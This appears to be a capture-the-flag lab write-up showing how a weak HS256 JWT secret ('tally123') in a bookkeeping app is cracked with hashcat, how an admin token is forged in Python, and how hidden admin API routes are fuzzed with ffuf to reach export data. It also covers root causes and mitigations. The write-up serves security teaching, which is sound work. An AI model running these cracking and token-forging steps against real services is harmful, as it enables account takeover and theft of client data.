Post

JWT Secret Cracking & Privilege Escalation via Forged Tokens | Tally

JWT Secret Cracking & Privilege Escalation via Forged Tokens | Tally

JWT Secret Cracking & Privilege Escalation via Forged Tokens | Tally

Overview

Tally is a lightweight bookkeeping micro-SaaS built for freelancers and small studios. Authentication relied on JSON Web Tokens (JWTs) signed using the HS256 algorithm. However, the application used an extremely weak signing secret that could be cracked offline using a common wordlist attack.

After recovering the signing secret, it was possible to forge arbitrary JWTs and escalate privileges from a normal user account to administrator access.

The forged administrator token exposed restricted API endpoints containing sensitive client export data and the lab flag.


Objective

The goal of this lab was to:

  • Analyze the application’s authentication mechanism
  • Extract and inspect JWT tokens
  • Crack the JWT signing secret
  • Forge an administrator token
  • Discover hidden admin endpoints
  • Access protected administrative data

Initial Setup

The lab required adding the target hostname locally.

1
echo "10.100.0.30  tally.local" | sudo tee -a /etc/hosts

After registering an account and logging in, a JWT token was stored in the browser’s local storage.


Identifying the JWT Token

The token looked like this:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsImVtYWlsIjoia2VsdmluQGtlbC5jb20iLCJuYW1lIjoia2VsdmluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Nzg3MjA5NjcsImV4cCI6MTc3OTMyNTc2N30.IsoJtR76Brpoh4V2L8wVhSkDse0WQr-wHmyJMpIglCk

The token used the HS256 signing algorithm, meaning the server validated the signature using a shared secret.

Because JWTs signed with HMAC algorithms rely entirely on the secrecy and strength of the signing key, weak secrets become vulnerable to offline cracking attacks.


Preparing the Token for Cracking

The JWT was saved into a file for Hashcat processing.

1
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsImVtYWlsIjoia2VsdmluQGtlbC5jb20iLCJuYW1lIjoia2VsdmluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Nzg3MjA5NjcsImV4cCI6MTc3OTMyNTc2N30.IsoJtR76Brpoh4V2L8wVhSkDse0WQr-wHmyJMpIglCk" > token.txt

Cracking the JWT Secret

Hashcat mode 16500 is specifically designed for cracking JWT tokens signed using HMAC algorithms such as HS256.

1
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt

After running the attack, the signing secret was recovered:

1
tally123

This confirmed that the application used a predictable and weak JWT signing key.


Forging an Administrator Token

Once the secret was known, forging arbitrary tokens became trivial.

The original token contained a role field:

1
"role": "user"

The role was modified to:

1
"role": "admin"

A new JWT was generated using Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import jwt

payload = {
  "sub": 3,
  "email": "kelvin@kel.com",
  "name": "kelvin",
  "role": "admin",
  "iat": 1778719930,
  "exp": 1779324730
}

token = jwt.encode(payload, "tally123", algorithm="HS256")

print("JWT Token:\n", token)

Generated administrator token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsImVtYWlsIjoia2VsdmluQGtlbC5jb20iLCJuYW1lIjoia2VsdmluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc4NzE5OTMwLCJleHAiOjE3NzkzMjQ3MzB9.3V1tpZE4fdQjPLmLkzJ2QMgnTtSv28qdFAYAcr8QgzY

Reconnaissance of API Endpoints

While reviewing Burp Suite history during authentication, the following endpoint was identified:

1
/api/auth/me

This suggested the application exposed API-based authenticated functionality.

An attempt was made to directly access a guessed administrator endpoint:

1
/api/admin

However, the request failed.

To discover hidden administrative routes, directory enumeration was performed using ffuf.

1
ffuf -u http://tally.local/api/admin/FUZZ -w /usr/share/wordlists/dirb/big.txt

A valid endpoint was discovered:

1
/exports

Resulting administrative path:

1
/api/admin/exports

Accessing Restricted Administrative Data

The forged administrator JWT was added to the Authorization header.

1
2
3
GET /api/admin/exports HTTP/1.1
Host: tally.local
Authorization: Bearer <FORGED_ADMIN_TOKEN>

Full request:

1
2
3
4
5
6
7
8
GET /api/admin/exports HTTP/1.1
Host: tally.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Referer: http://tally.local/app
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjMsImVtYWlsIjoia2VsdmluQGtlbC5jb20iLCJuYW1lIjoia2VsdmluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc4NzE5OTMwLCJleHAiOjE3NzkzMjQ3MzB9.3V1tpZE4fdQjPLmLkzJ2QMgnTtSv28qdFAYAcr8QgzY
Connection: keep-alive

The server accepted the forged token and returned sensitive administrative export data, including the flag.

1
WEBVERSE{...}

Proof of Exploitation

Weak JWT Secret

1
tally123

Forged Role Claim

1
"role": "admin"

Exposed Administrative Endpoint

1
/api/admin/exports

Successful Privilege Escalation

1
WEBVERSE{...}

Impact

This vulnerability allowed complete authentication bypass and privilege escalation.

An attacker could:

  • Forge arbitrary JWT tokens
  • Impersonate other users
  • Escalate privileges to administrator
  • Access sensitive accounting exports
  • Extract confidential client data
  • Bypass application authorization controls entirely

Because JWT validation trusted the token signature alone, compromise of the signing secret resulted in full trust compromise across the application.


Root Cause Analysis

The primary issue was the use of a weak JWT signing secret.

Additional contributing issues included:

  • Predictable secret key selection
  • Lack of secret rotation
  • Overreliance on client-controlled role claims
  • Exposure of sensitive admin functionality through predictable API structure
  • Missing defense-in-depth authorization validation

The application trusted the role field directly from the signed token without additional server-side privilege verification.


Mitigation

Use Strong Random Secrets

JWT signing keys should be:

  • Long
  • Random
  • Cryptographically generated
  • Stored securely

Example:

1
openssl rand -base64 64

Rotate Secrets Periodically

Implement key rotation mechanisms and invalidate older tokens when secrets change.

Avoid Storing Sensitive Authorization Logic Solely in JWT Claims

Critical authorization decisions should be validated server-side against trusted backend data.

Use Short Token Expiration Windows

Reduce exposure time for compromised tokens.

Monitor for Enumeration Attempts

Detect excessive fuzzing or suspicious access to hidden administrative routes.


Real-World Insight

Weak JWT secrets remain one of the most common authentication failures in smaller startups and internal applications.

Developers often assume that because JWTs are signed, they are inherently secure. In reality, JWT security depends entirely on the secrecy and strength of the signing key.

If an attacker can recover the secret through brute force or leakage, they effectively gain the ability to mint trusted identities at will.

This lab demonstrates how a single weak secret can completely collapse an application’s authentication and authorization model.

This post is licensed under CC BY 4.0 by the author.